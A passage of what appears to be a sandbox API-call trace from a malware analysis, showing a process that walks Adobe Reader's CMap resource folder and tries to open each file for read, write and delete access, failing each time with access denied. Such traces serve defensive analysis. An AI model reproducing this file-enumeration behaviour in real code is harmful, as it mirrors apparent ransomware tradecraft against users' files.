hTemplateFile=0x0) returned 0xffffffffffffffff [0175.718] GetLastError () returned 0x5 [0175.718] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2C", dwFileAttributes=0x20) returned 0 [0175.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c31490) returned 1 [0175.718] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xccf, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBpc-EUC-V", cAlternateFileName="GBPC-E~4")) returned 1 [0175.718] wcscmp (_String1="GBpc-EUC-V", _String2=".") returned 1 [0175.718] wcscmp (_String1="GBpc-EUC-V", _String2="..") returned 1 [0175.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1ced3460 [0175.719] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.719] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.719] wcscat (in: _Dest=0x1ced3460, _Source="GBpc-EUC-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-V" [0175.719] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-v")) returned 0x20 [0175.721] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-V", dwFileAttributes=0x20) returned 0 [0175.722] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.722] GetLastError () returned 0x5 [0175.722] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-V", dwFileAttributes=0x20) returned 0 [0175.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.722] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc07a, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBT-EUC-H", cAlternateFileName="GBT-EU~1")) returned 1 [0175.723] wcscmp (_String1="GBT-EUC-H", _String2=".") returned 1 [0175.723] wcscmp (_String1="GBT-EUC-H", _String2="..") returned 1 [0175.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1ced3460 [0175.723] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.723] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.723] wcscat (in: _Dest=0x1ced3460, _Source="GBT-EUC-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-H" [0175.723] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbt-euc-h")) returned 0x20 [0175.723] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-H", dwFileAttributes=0x20) returned 0 [0175.723] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbt-euc-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.723] GetLastError () returned 0x5 [0175.724] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-H", dwFileAttributes=0x20) returned 0 [0175.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.724] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xccb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBT-EUC-V", cAlternateFileName="GBT-EU~2")) returned 1 [0175.724] wcscmp (_String1="GBT-EUC-V", _String2=".") returned 1 [0175.724] wcscmp (_String1="GBT-EUC-V", _String2="..") returned 1 [0175.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1ced3460 [0175.724] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.724] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.725] wcscat (in: _Dest=0x1ced3460, _Source="GBT-EUC-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-V" [0175.725] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbt-euc-v")) returned 0x20 [0175.725] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-V", dwFileAttributes=0x20) returned 0 [0175.725] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbt-euc-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.725] GetLastError () returned 0x5 [0175.725] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-V", dwFileAttributes=0x20) returned 0 [0175.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.726] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x145a, dwReserved0=0x0, dwReserved1=0x0, cFileName="H", cAlternateFileName="")) returned 1 [0175.726] wcscmp (_String1="H", _String2=".") returned 1 [0175.726] wcscmp (_String1="H", _String2="..") returned 1 [0175.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x20505010 [0175.726] wcscpy (in: _Dest=0x20505010, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.726] wcscat (in: _Dest=0x20505010, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.726] wcscat (in: _Dest=0x20505010, _Source="H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\H" [0175.726] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\h")) returned 0x20 [0175.727] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\H", dwFileAttributes=0x20) returned 0 [0175.727] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.727] GetLastError () returned 0x5 [0175.727] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\H", dwFileAttributes=0x20) returned 0 [0175.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505010) returned 1 [0175.727] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5f97, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKdla-B5-H", cAlternateFileName="HKDLA-~1")) returned 1 [0175.727] wcscmp (_String1="HKdla-B5-H", _String2=".") returned 1 [0175.727] wcscmp (_String1="HKdla-B5-H", _String2="..") returned 1 [0175.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1ced3460 [0175.728] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.728] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.728] wcscat (in: _Dest=0x1ced3460, _Source="HKdla-B5-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-H" [0175.728] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdla-b5-h")) returned 0x20 [0175.728] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-H", dwFileAttributes=0x20) returned 0 [0175.728] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdla-b5-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.728] GetLastError () returned 0x5 [0175.728] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-H", dwFileAttributes=0x20) returned 0 [0175.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.729] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKdla-B5-V", cAlternateFileName="HKDLA-~2")) returned 1 [0175.729] wcscmp (_String1="HKdla-B5-V", _String2=".") returned 1 [0175.729] wcscmp (_String1="HKdla-B5-V", _String2="..") returned 1 [0175.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1ced3460 [0175.729] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.729] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.729] wcscat (in: _Dest=0x1ced3460, _Source="HKdla-B5-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-V" [0175.729] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdla-b5-v")) returned 0x20 [0175.730] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-V", dwFileAttributes=0x20) returned 0 [0175.730] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdla-b5-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.730] GetLastError () returned 0x5 [0175.730] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-V", dwFileAttributes=0x20) returned 0 [0175.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.731] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x55fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKdlb-B5-H", cAlternateFileName="HKDLB-~1")) returned 1 [0175.731] wcscmp (_String1="HKdlb-B5-H", _String2=".") returned 1 [0175.731] wcscmp (_String1="HKdlb-B5-H", _String2="..") returned 1 [0175.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1ced3460 [0175.731] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.731] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.731] wcscat (in: _Dest=0x1ced3460, _Source="HKdlb-B5-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-H" [0175.731] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdlb-b5-h")) returned 0x20 [0175.732] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-H", dwFileAttributes=0x20) returned 0 [0175.732] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdlb-b5-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.732] GetLastError () returned 0x5 [0175.732] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-H", dwFileAttributes=0x20) returned 0 [0175.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.733] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKdlb-B5-V", cAlternateFileName="HKDLB-~2")) returned 1 [0175.733] wcscmp (_String1="HKdlb-B5-V", _String2=".") returned 1 [0175.733] wcscmp (_String1="HKdlb-B5-V", _String2="..") returned 1 [0175.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1ced3460 [0175.733] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.733] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.733] wcscat (in: _Dest=0x1ced3460, _Source="HKdlb-B5-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-V" [0175.733] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdlb-b5-v")) returned 0x20 [0175.733] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-V", dwFileAttributes=0x20) returned 0 [0175.733] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdlb-b5-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.734] GetLastError () returned 0x5 [0175.734] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-V", dwFileAttributes=0x20) returned 0 [0175.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.734] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x386a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKgccs-B5-H", cAlternateFileName="HKGCCS~1")) returned 1 [0175.734] wcscmp (_String1="HKgccs-B5-H", _String2=".") returned 1 [0175.734] wcscmp (_String1="HKgccs-B5-H", _String2="..") returned 1 [0175.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1ced3460 [0175.735] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.735] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.735] wcscat (in: _Dest=0x1ced3460, _Source="HKgccs-B5-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-H" [0175.735] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkgccs-b5-h")) returned 0x20 [0175.735] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-H", dwFileAttributes=0x20) returned 0 [0175.735] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkgccs-b5-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.735] GetLastError () returned 0x5 [0175.735] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-H", dwFileAttributes=0x20) returned 0 [0175.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.736] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc21, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKgccs-B5-V", cAlternateFileName="HKGCCS~2")) returned 1 [0175.736] wcscmp (_String1="HKgccs-B5-V", _String2=".") returned 1 [0175.736] wcscmp (_String1="HKgccs-B5-V", _String2="..") returned 1 [0175.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1ced3460 [0175.736] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.736] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.736] wcscat (in: _Dest=0x1ced3460, _Source="HKgccs-B5-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-V" [0175.737] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkgccs-b5-v")) returned 0x20 [0175.738] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-V", dwFileAttributes=0x20) returned 0 [0175.738] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkgccs-b5-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.738] GetLastError () returned 0x5 [0175.738] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-V", dwFileAttributes=0x20) returned 0 [0175.739] RtlFreeHeap 